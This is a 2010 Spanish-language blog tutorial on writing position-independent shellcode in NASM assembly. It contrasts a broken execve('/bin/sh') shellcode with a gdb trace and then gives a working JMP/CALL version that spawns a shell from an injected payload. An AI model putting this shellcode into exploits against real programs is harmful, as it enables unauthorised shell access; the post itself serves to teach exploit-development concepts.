jueves, 28 de octubre de 2010

~Unix & Cisco & Hacks~ - Creando shellcodes position


Hay un concepto en ASM/shellcoding llamado "position independent". Si en una shellcode hacemos un push sh , siendo sh una cadena definida con db, nasm coloca en la pila la direccion de la cadena, pero con una peculiaridad importante. Houston, tenemos un problema... resulta que cualquier ensamblador, nasm tambien, coloca en la pila la direccion calculada por el ensamblador de manera estatica, en lugar de la direccion de memoria de la cadena, que es lo que queremos. Para ilustrarlo, a continuacion muestro un ejemplo de una shellcode _mal hecha_ por este motivo:

BITS 32

;int execve(const char *filename, char *const argv[], char *const envp[]);

xor eax, eax
cdq ;edx=envp
push edx ;terminamos cadena de filename y el array argv
push sh ; ***!!!MAL!!!*** Solo se hace un push de la direccion de la cadena
mov ebx, [esp] ;ebx=direccion de la cadena
mov ecx, esp ;ecx=direccion del puntero a la cadena
mov al, 11 ;execve es la syscall 11
int 0x80
sh db "/bin/sh"

Profundicemos en el push sh, que si no nos fijamos bien podemos malinterpretar lo que realmente hace. No es position independent. Adjunto un log de NewLog con gdb que lo demuestra:

(gdb) n
7 push edx ;terminamos cadena de filename y el array argv
(gdb) n
8 push sh ;push de cadena /bin/sh en la pila [ojo! el comentario esta mal!]
(gdb) n
9 mov ebx, [esp] ;ebx=direccion de la cadena
(gdb) print $esp
$2 = (void *) 0xbf914598
(gdb) x/4x 0xbf914598
0xbf914598: 0x08048072 0x00000000 0x00000001 0xbf916565
(gdb) x/s 0x8048072
0x8048072 : "/bin/sh"

Citando a NewLog:

En el momento en el que muestro esp es cuando se acaba de ejecutar la instrucción push sh. Así que miro donde apunta esp y éste apunta a 0xbf914598. Compruebo qué hay en esa dirección y veo que hay otra dirección, la 0x8048072. Miro que hay en esa dirección y voilà, ahí está la cadena /bin/sh.
""""Así que como da a entender TuXeD, en ebx no hay la dirección de la cadena /bin/sh, sino la dirección del puntero de la cadena /bin/sh (o sea, la dirección de la dirección...).""""

El problema de hacer un push de la cadena es que no se puede explotar en el mundo real, porque cuando inyectamos una shellcode push sh dentro de otro programa en ejecucion no podemos contar con que se haya colocado en la misma posición que asumio nasm al ensamblar. Es decir, una shellcode push sh no es "position independent", y lo solucionamos con una shellcode JMP/CALL que sea "position independent", es decir, que sea capaz de obtener la dirección de la cadena "/bin/sh" independientemente de donde estemos cargados en memoria. Ahi va una.

BITS 32
; int execve(const char *filename, char *const argv[], char *const envp[]);

xor eax, eax
cdq ;envp es 0
mov al, 11 ;execve es la syscall 11
push edx ;terminamos cadena y array argv
jmp short down ;jmp short = no bytes nulos
back:
mov ebx, [esp] ;direccion de la cadena
mov ecx, esp ;direccion del puntero a la cadena
int 0x80
down:
call back ;ponemos la cadena /bin/sh en la pila
db "/bin/sh"

Para terminar, algo basico pero que conviene tener presente:

mov ebx, [esp] pone en ebx la direccion de esp como todos sabemos. Pero ¿cual es la direccion de esp en ese momento?

¿Que hay antes de ese mov ebx, [esp] ?

Un call.

call tiene una "feature", y es que guarda en la pila la direccion de la siguiente instruccion, de tal forma que cuando la subrutina a la que llama finalice con un RET se pueda retornar correctamente a la siguiente instruccion (ret hace un pop de dicha direccion de memoria). Hemos colocado la cadena justo despues de la llamada a call, es por eso que su direccion se coloca en la pila.

Referencias:

No hay comentarios:

Publicar un comentario